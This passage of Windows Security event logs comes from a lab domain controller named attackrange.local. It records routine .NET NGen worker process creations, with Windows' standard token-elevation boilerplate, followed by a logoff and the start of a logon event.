	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 308 -InterruptEvent 0 -NGENProcess 6e0 -Pipe 284 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254706
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa98
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 720 -InterruptEvent 0 -NGENProcess 7f4 -Pipe 64c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254705
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4d4 -InterruptEvent 0 -NGENProcess 1e0 -Pipe 770 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254704
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeac
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 770 -InterruptEvent 0 -NGENProcess 4d4 -Pipe 424 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254703
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1080
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 724 -InterruptEvent 0 -NGENProcess 484 -Pipe 7a4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254702
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd40
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4d4 -InterruptEvent 0 -NGENProcess 41c -Pipe 4ac -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254701
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x103c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 64c -InterruptEvent 0 -NGENProcess 484 -Pipe 6b8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254700
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd10
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 41c -InterruptEvent 0 -NGENProcess 6e0 -Pipe 7c0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:55 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254710
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 1e0 -InterruptEvent 0 -NGENProcess 6c0 -Pipe 4d8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:55 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254709
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x100c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 724 -InterruptEvent 0 -NGENProcess 680 -Pipe 484 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:55 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254708
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x50c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7f4 -InterruptEvent 0 -NGENProcess 41c -Pipe 720 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:55 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254707
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13e4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 680 -InterruptEvent 0 -NGENProcess 478 -Pipe 498 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:56 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254715
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5b8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 724 -InterruptEvent 0 -NGENProcess 4a8 -Pipe 478 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:56 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254714
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe34
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5a0 -InterruptEvent 0 -NGENProcess 41c -Pipe 48c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:56 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254713
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12d8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4b0 -InterruptEvent 0 -NGENProcess 4b4 -Pipe 7a0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:56 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254712
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x47c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 724 -InterruptEvent 0 -NGENProcess 6c0 -Pipe 704 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:56 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254711
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1090
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4b4 -InterruptEvent 0 -NGENProcess 680 -Pipe 4bc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254724
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1018
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 470 -InterruptEvent 0 -NGENProcess 488 -Pipe 404 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254723
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1AC62B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:05:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254722
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
